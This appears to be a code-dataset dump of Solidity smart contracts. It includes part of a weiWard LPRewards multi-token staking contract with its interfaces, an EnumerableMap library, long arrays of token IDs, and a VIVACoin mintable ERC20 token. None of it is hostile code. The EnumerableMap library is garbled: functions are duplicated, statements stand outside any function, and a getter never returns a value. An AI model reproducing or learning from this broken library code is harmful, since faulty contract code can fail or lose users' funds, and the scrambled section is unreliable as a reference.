supportsToken(token)
{
_tokens.remove(token);
// Clean up. Keep totalStaked and rewards since those will be cleaned up by
// users unstaking and redeeming.
_tokenData[token].valueImpl = address(0);
emit TokenRemoved(_msgSender(), token);
}
function setRewardsToken(address token) public virtual override onlyOwner {
_rewardsToken = token;
emit RewardsTokenSet(_msgSender(), token);
}
function stake(address token, uint256 amount)
external
virtual
override
whenNotPaused
supportsToken(token)
{
require(amount != 0, "LPRewards: cannot stake zero");
address account = _msgSender();
_updateRewardFor(account, token);
UserData storage user = _users[account];
TokenData storage td = _tokenData[token];
td.totalStaked += amount;
user.staked.set(token, amount + stakedBalanceOf(account, token));
IERC20(token).safeTransferFrom(account, address(this), amount);
emit Staked(account, token, amount);
}
function unpause() external virtual override onlyOwner {
_unpause();
}
function unstake(address token, uint256 amount) external virtual override {
require(amount != 0, "LPRewards: cannot unstake zero");
address account = _msgSender();
// Prevent making calls to any addresses that were never supported.
uint256 staked = stakedBalanceOf(account, token);
require(
amount <= staked,
"LPRewards: cannot unstake more than staked balance"
);
_unstake(token, amount);
}
function unstakeAll() public virtual override {
UserData storage user = _users[_msgSender()];
for (uint256 length = user.staked.length(); length > 0; length--) {
(address token, uint256 amount) = user.staked.at(0);
_unstake(token, amount);
}
}
function unstakeAllFrom(address token) public virtual override {
_unstake(token, stakedBalanceOf(_msgSender(), token));
}
function updateAccrual() external virtual override {
// Gas savings
uint256 totalRewardsAccrued_ = totalRewardsAccrued();
uint256 pending = totalRewardsAccrued_ - _lastTotalRewardsAccrued;
if (pending == 0) {
return;
}
_lastTotalRewardsAccrued = totalRewardsAccrued_;
// Iterate once to know totalShares
uint256 totalShares_ = 0;
// Store some math for current shares to save on gas and revert ASAP.
uint256[] memory pendingSharesFor = new uint256[](_tokens.length());
for (uint256 i = 0; i < _tokens.length(); i++) {
uint256 share = _totalSharesForToken(_tokens.at(i));
pendingSharesFor[i] = pending.mul(share);
totalShares_ = totalShares_.add(share);
}
if (totalShares_ == 0) {
_unredeemableRewards = _unredeemableRewards.add(pending);
emit AccrualUpdated(_msgSender(), pending);
return;
}
// Iterate twice to allocate rewards to each token.
for (uint256 i = 0; i < _tokens.length(); i++) {
address token = _tokens.at(i);
TokenData storage td = _tokenData[token];
td.rewards += pendingSharesFor[i] / totalShares_;
uint256 rewardsAccrued = totalRewardsAccruedFor(token);
td.arpt = _accruedRewardsPerTokenFor(token, rewardsAccrued);
td.lastRewardsAccrued = rewardsAccrued;
}
emit AccrualUpdated(_msgSender(), pending);
}
function updateReward() external virtual override {
_updateAllRewardsFor(_msgSender());
}
function updateRewardFor(address token) external virtual override {
_updateRewardFor(_msgSender(), token);
}
/* Internal Views */
function _accruedRewardsPerTokenFor(address token, uint256 rewardsAccrued)
internal
view
virtual
returns (uint256)
{
TokenData storage td = _tokenData[token];
// Gas savings
uint256 totalStaked_ = td.totalStaked;
if (totalStaked_ == 0) {
return td.arpt;
}
// Overflow is OK
uint256 delta = rewardsAccrued - td.lastRewardsAccrued;
if (delta == 0) {
return td.arpt;
}
// Use multiplier for better rounding
uint256 rewardsPerToken = delta.mul(_MULTIPLIER) / totalStaked_;
// Overflow is OK
return td.arpt + rewardsPerToken;
}
function _allPendingRewardsFor(address account)
internal
view
virtual
returns (uint256 total)
{
EnumerableMap.AddressToUintMap storage staked = _users[account].staked;
for (uint256 i = 0; i < staked.length(); i++) {
(address token, uint256 amount) = staked.at(i);
total += _pendingRewardsFor(account, token, amount);
}
}
function _currentRewardsBalance() internal view virtual returns (uint256) {
return IERC20(_rewardsToken).balanceOf(address(this));
}
function _pendingRewardsFor(
address account,
address token,
uint256 amountStaked
) internal view virtual returns (uint256) {
uint256 arpt = accruedRewardsPerTokenFor(token);
uint256 arptLast = accruedRewardsPerTokenLastFor(account, token);
// Overflow is OK
uint256 arptDelta = arpt - arptLast;
return amountStaked.mul(arptDelta) / _MULTIPLIER;
}
function _shares(address token, uint256 amountStaked)
internal
view
virtual
returns (uint256)
{
if (!supportsStakingToken(token)) {
return 0;
}
IValuePerToken vptHandle = IValuePerToken(valuePerTokenImpl(token));
(uint256 numerator, uint256 denominator) = vptHandle.valuePerToken();
if (denominator == 0) {
return 0;
}
// Return a 1:1 ratio for value to shares
return amountStaked.mul(numerator) / denominator;
}
function _totalSharesForToken(address token)
internal
view
virtual
returns (uint256)
{
return _shares(token, _tokenData[token].totalStaked);
}
/* Internal Mutators */
function _redeemRewardFrom(
address token,
uint256 amount,
bool asWETH
) internal virtual {
address account = _msgSender();
UserData storage user = _users[account];
UserTokenRewards storage rewards = user.rewardsFor[token];
TokenData storage td = _tokenData[token];
uint256 rewardLeft = rewards.pending - amount;
rewards.pending = rewardLeft;
if (rewardLeft == 0) {
user.tokensWithRewards.remove(token);
}
td.rewards = td.rewards.sub(amount);
td.rewardsRedeemed += amount;
_totalRewardsRedeemed += amount;
_sendRewards(account, amount, asWETH);
emit RewardPaid(account, token, amount);
}
function _sendRewards(
address to,
uint256 amount,
bool asWETH
) internal virtual {
if (asWETH) {
IERC20(_rewardsToken).safeTransfer(to, amount);
} else {
IWETH(_rewardsToken).withdraw(amount);
payable(to).sendValue(amount);
}
}
function _unstake(address token, uint256 amount) internal virtual {
address account = _msgSender();
_updateRewardFor(account, token);
TokenData storage td = _tokenData[token];
td.totalStaked = td.totalStaked.sub(amount);
UserData storage user = _users[account];
EnumerableMap.AddressToUintMap storage staked = user.staked;
uint256 stakeLeft = staked.get(token).sub(amount);
if (stakeLeft == 0) {
staked.remove(token);
user.rewardsFor[token].arptLast = 0;
} else {
staked.set(token, stakeLeft);
}
IERC20(token).safeTransfer(account, amount);
emit Unstaked(account, token, amount);
}
function _updateRewardFor(address account, address token)
internal
virtual
returns (uint256)
{
UserData storage user = _users[account];
UserTokenRewards storage rewards = user.rewardsFor[token];
uint256 total = rewards.pending; // Save gas
uint256 amountStaked = stakedBalanceOf(account, token);
uint256 pending = _pendingRewardsFor(account, token, amountStaked);
if (pending != 0) {
total += pending;
rewards.pending = total;
user.tokensWithRewards.add(token);
}
rewards.arptLast = accruedRewardsPerTokenFor(token);
return total;
}
function _updateAllRewardsFor(address account) internal virtual {
EnumerableMap.AddressToUintMap storage staked = _users[account].staked;
for (uint256 i = 0; i < staked.length(); i++) {
(address token, ) = staked.at(i);
_updateRewardFor(account, token);
}
}
}
// SPDX-License-Identifier: Apache-2.0
/**
* Copyright 2021 weiWard LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity 0.7.6;
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "../../libraries/EnumerableMap.sol";
abstract contract LPRewardsData {
/* Structs */
struct TokenData {
uint256 arpt;
uint256 lastRewardsAccrued;
uint256 rewards;
uint256 rewardsRedeemed;
uint256 totalStaked;
address valueImpl;
}
struct UserTokenRewards {
uint256 pending;
uint256 arptLast;
}
struct UserData {
EnumerableSet.AddressSet tokensWithRewards;
mapping(address => UserTokenRewards) rewardsFor;
EnumerableMap.AddressToUintMap staked;
}
/* State */
address internal _rewardsToken;
uint256 internal _lastTotalRewardsAccrued;
uint256 internal _totalRewardsRedeemed;
uint256 internal _unredeemableRewards;
EnumerableSet.AddressSet internal _tokens;
mapping(address => TokenData) internal _tokenData;
mapping(address => UserData) internal _users;
uint256[43] private __gap;
}
// SPDX-License-Identifier: Apache-2.0
/**
* Copyright 2021 weiWard LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity 0.7.6;
interface ILPRewards {
/* Views */
function accruedRewardsPerTokenFor(address token)
external
view
returns (uint256);
function accruedRewardsPerTokenLastFor(address account, address token)
external
view
returns (uint256);
function lastRewardsBalanceOf(address account)
external
view
returns (uint256);
function lastRewardsBalanceOfFor(address account, address token)
external
view
returns (uint256);
function lastTotalRewardsAccrued() external view returns (uint256);
function lastTotalRewardsAccruedFor(address token)
external
view
returns (uint256);
function numStakingTokens() external view returns (uint256);
function rewardsBalanceOf(address account) external view returns (uint256);
function rewardsBalanceOfFor(address account, address token)
external
view
returns (uint256);
function rewardsForToken(address token) external view returns (uint256);
function rewardsToken() external view returns (address);
function sharesFor(address account, address token)
external
view
returns (uint256);
function sharesPerToken(address token) external view returns (uint256);
function stakedBalanceOf(address account, address token)
external
view
returns (uint256);
function stakingTokenAt(uint256 index) external view returns (address);
function supportsStakingToken(address token) external view returns (bool);
function totalRewardsAccrued() external view returns (uint256);
function totalRewardsAccruedFor(address token)
external
view
returns (uint256);
function totalRewardsRedeemed() external view returns (uint256);
function totalRewardsRedeemedFor(address token)
external
view
returns (uint256);
function totalShares() external view returns (uint256);
function totalSharesFor(address account) external view returns (uint256);
function totalSharesForToken(address token) external view returns (uint256);
function totalStaked(address token) external view returns (uint256);
function unredeemableRewards() external view returns (uint256);
function valuePerTokenImpl(address token) external view returns (address);
/* Mutators */
function addToken(address token, address tokenValueImpl) external;
function changeTokenValueImpl(address token, address tokenValueImpl)
external;
function exit(bool asWETH) external;
function exitFrom(address token, bool asWETH) external;
function pause() external;
function recoverUnredeemableRewards(address to, uint256 amount) external;
function recoverUnstaked(
address token,
address to,
uint256 amount
) external;
function redeemAllRewards(bool asWETH) external;
function redeemAllRewardsFrom(address token, bool asWETH) external;
function redeemReward(uint256 amount, bool asWETH) external;
function redeemRewardFrom(
address token,
uint256 amount,
bool asWETH
) external;
function removeToken(address token) external;
function setRewardsToken(address token) external;
function stake(address token, uint256 amount) external;
function unpause() external;
function unstake(address token, uint256 amount) external;
function unstakeAll() external;
function unstakeAllFrom(address token) external;
function updateAccrual() external;
function updateReward() external;
function updateRewardFor(address token) external;
/* Events */
event AccrualUpdated(address indexed author, uint256 accruedRewards);
event RecoveredUnredeemableRewards(
address indexed author,
address indexed to,
uint256 amount
);
event RecoveredUnstaked(
address indexed author,
address indexed token,
address indexed to,
uint256 amount
);
event RewardPaid(
address indexed account,
address indexed token,
uint256 amount
);
event RewardsTokenSet(address indexed author, address indexed token);
event Staked(address indexed account, address indexed token, uint256 amount);
event TokenAdded(
address indexed author,
address indexed token,
address indexed tokenValueImpl
);
event TokenRemoved(address indexed author, address indexed token);
event TokenValueImplChanged(
address indexed author,
address indexed token,
address indexed tokenValueImpl
);
event Unstaked(
address indexed account,
address indexed token,
uint256 amount
);
}
// SPDX-License-Identifier: Apache-2.0
/**
* Copyright 2021 weiWard LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity 0.7.6;
interface IValuePerToken {
/* Views */
function token() external view returns (address);
function valuePerToken()
external
view
returns (uint256 numerator, uint256 denominator);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface IWETH {
function deposit() external payable;
function withdraw(uint256) external;
}
| * @dev Library for managing an enumerable variant of Solidity's type. Maps have the following properties: - Entries are added, removed, and checked for existence in constant time (O(1)). - Entries are enumerated in O(n). No guarantees are made on the ordering. ``` contract Example { using EnumerableMap for EnumerableMap.UintToAddressMap; EnumerableMap.UintToAddressMap private myMap; } ``` As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are supported./ To implement this library for multiple types with as little code repetition as possible, we write it in terms of a generic Map type with bytes32 keys and values. The Map implementation uses private functions, and user-facing implementations (such as Uint256ToAddressMap) are just wrappers around the underlying Map. This means that we can only create new EnumerableMaps for types that fit in bytes32. | library EnumerableMap {
The MIT License (MIT)
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
MapEntry[] _entries;
mapping(bytes32 => uint256) _indexes;
}
function _set(
Map storage map,
bytes32 key,
bytes32 value
) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) {
map._indexes[key] = map._entries.length;
return true;
map._entries[keyIndex - 1]._value = value;
return false;
}
}
function _set(
Map storage map,
bytes32 key,
bytes32 value
) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) {
map._indexes[key] = map._entries.length;
return true;
map._entries[keyIndex - 1]._value = value;
return false;
}
}
map._entries.push(MapEntry({ _key: key, _value: value }));
} else {
function _remove(Map storage map, bytes32 key) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) {
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
MapEntry storage lastEntry = map._entries[lastIndex];
map._entries[toDeleteIndex] = lastEntry;
map._entries.pop();
delete map._indexes[key];
return true;
return false;
}
}
function _remove(Map storage map, bytes32 key) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) {
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
MapEntry storage lastEntry = map._entries[lastIndex];
map._entries[toDeleteIndex] = lastEntry;
map._entries.pop();
delete map._indexes[key];
return true;
return false;
}
}
} else {
function _contains(Map storage map, bytes32 key)
private
view
returns (bool)
{
return map._indexes[key] != 0;
}
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
function _at(Map storage map, uint256 index)
private
view
returns (bytes32, bytes32)
{
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
function _get(
Map storage map,
bytes32 key,
string memory errorMessage
) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
}
struct AddressToUintMap {
Map _inner;
}
function set(
AddressToUintMap storage map,
address key,
uint256 value
) internal returns (bool) {
return _set(map._inner, bytes32(uint256(key)), bytes32(value));
}
function remove(AddressToUintMap storage map, address key)
internal
returns (bool)
{
return _remove(map._inner, bytes32(uint256(key)));
}
function contains(AddressToUintMap storage map, address key)
internal
view
returns (bool)
{
return _contains(map._inner, bytes32(uint256(key)));
}
function length(AddressToUintMap storage map)
internal
view
returns (uint256)
{
return _length(map._inner);
}
function at(AddressToUintMap storage map, uint256 index)
internal
view
returns (address, uint256)
{
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (address(uint256(key)), uint256(value));
}
function get(AddressToUintMap storage map, address key)
internal
view
returns (uint256)
{
return uint256(_get(map._inner, bytes32(uint256(key))));
}
function get(
AddressToUintMap storage map,
address key,
string memory errorMessage
) internal view returns (uint256) {
return uint256(_get(map._inner, bytes32(uint256(key)), errorMessage));
}
}
| 5,926,013 | [
1,
9313,
364,
30632,
392,
14873,
5437,
434,
348,
7953,
560,
1807,
618,
18,
19837,
1240,
326,
3751,
1790,
30,
300,
19411,
854,
3096,
16,
3723,
16,
471,
5950,
364,
15782,
316,
5381,
813,
261,
51,
12,
21,
13,
2934,
300,
19411,
854,
3557,
690,
316,
531,
12,
82,
2934,
2631,
28790,
854,
7165,
603,
326,
9543,
18,
31621,
6835,
5090,
288,
377,
1450,
6057,
25121,
863,
364,
6057,
25121,
863,
18,
5487,
774,
1887,
863,
31,
377,
6057,
25121,
863,
18,
5487,
774,
1887,
863,
3238,
3399,
863,
31,
289,
31621,
2970,
434,
331,
23,
18,
20,
18,
20,
16,
1338,
7565,
434,
618,
1375,
11890,
5034,
317,
1758,
68,
21863,
5487,
774,
1887,
863,
24065,
854,
3260,
18,
19,
2974,
2348,
333,
5313,
364,
3229,
1953,
598,
487,
12720,
981,
31239,
487,
3323,
16,
732,
1045,
518,
316,
6548,
434,
279,
5210,
1635,
618,
598,
1731,
1578,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
12083,
6057,
25121,
863,
288,
203,
203,
203,
203,
1986,
490,
1285,
16832,
261,
6068,
13,
203,
203,
202,
1697,
1635,
1622,
288,
203,
202,
202,
3890,
1578,
389,
856,
31,
203,
202,
202,
3890,
1578,
389,
1132,
31,
203,
202,
97,
203,
203,
202,
1697,
1635,
288,
203,
202,
202,
863,
1622,
8526,
389,
8219,
31,
203,
202,
202,
6770,
12,
3890,
1578,
516,
2254,
5034,
13,
389,
11265,
31,
203,
202,
97,
203,
203,
202,
915,
389,
542,
12,
203,
202,
202,
863,
2502,
852,
16,
203,
202,
202,
3890,
1578,
498,
16,
203,
202,
202,
3890,
1578,
460,
203,
202,
13,
3238,
1135,
261,
6430,
13,
288,
203,
202,
202,
11890,
5034,
498,
1016,
273,
852,
6315,
11265,
63,
856,
15533,
203,
203,
202,
202,
430,
261,
856,
1016,
422,
374,
13,
288,
203,
1082,
202,
1458,
6315,
11265,
63,
856,
65,
273,
852,
6315,
8219,
18,
2469,
31,
203,
1082,
202,
2463,
638,
31,
203,
1082,
202,
1458,
6315,
8219,
63,
856,
1016,
300,
404,
65,
6315,
1132,
273,
460,
31,
203,
1082,
202,
2463,
629,
31,
203,
202,
202,
97,
203,
202,
97,
203,
203,
202,
915,
389,
542,
12,
203,
202,
202,
863,
2502,
852,
16,
203,
202,
202,
3890,
1578,
498,
16,
203,
202,
202,
3890,
1578,
460,
203,
202,
13,
3238,
1135,
261,
6430,
13,
288,
203,
202,
202,
11890,
5034,
498,
1016,
273,
852,
6315,
11265,
63,
856,
15533,
203,
203,
202,
202,
430,
261,
856,
1016,
422,
374,
13,
288,
203,
1082,
202,
1458,
2
] |
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c)
{
if (a == 0 || b == 0)
{
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a && c >=b);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Extended {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
contract MintableToken is ERC20Extended{
using SafeMath for uint256;
address public owner;
uint256 private totalSupply_;
bool public mintingFinished = false;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,address indexed spender,uint256 value);
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,address indexed newOwner);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
modifier canMint() {require(!mintingFinished);_;}
modifier hasMintPermission() { require(msg.sender == owner); _;}
modifier onlyOwner() { require(msg.sender == owner);_;}
constructor() public {owner = msg.sender;}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner
{
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner
{
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256)
{
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256)
{
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from,address _to,uint256 _value) public returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner,address _spender) public view returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender,uint _addedValue) public returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender,uint _subtractedValue) public returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public
{
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal
{
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public
{
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to,uint256 _amount) hasMintPermission canMint public returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool)
{
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract VIVACoin is MintableToken {
string public symbol = "VIVA";
string public name = "VIVA COIN";
uint8 public decimals = 8;
} | * @title ERC20 interface/ | contract ERC20Extended {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
| 10,843,646 | [
1,
654,
39,
3462,
1560,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
4232,
39,
3462,
11456,
288,
203,
225,
445,
2078,
3088,
1283,
1435,
1071,
1476,
1135,
261,
11890,
5034,
1769,
203,
225,
445,
11013,
951,
12,
2867,
10354,
13,
1071,
1476,
1135,
261,
11890,
5034,
1769,
203,
225,
445,
7412,
12,
2867,
358,
16,
2254,
5034,
460,
13,
1071,
1135,
261,
6430,
1769,
203,
225,
445,
1699,
1359,
12,
2867,
3410,
16,
1758,
17571,
264,
13,
1071,
1476,
1135,
261,
11890,
5034,
1769,
203,
225,
445,
7412,
1265,
12,
2867,
628,
16,
1758,
358,
16,
2254,
5034,
460,
13,
1071,
1135,
261,
6430,
1769,
203,
225,
445,
6617,
537,
12,
2867,
17571,
264,
16,
2254,
5034,
460,
13,
1071,
1135,
261,
6430,
1769,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
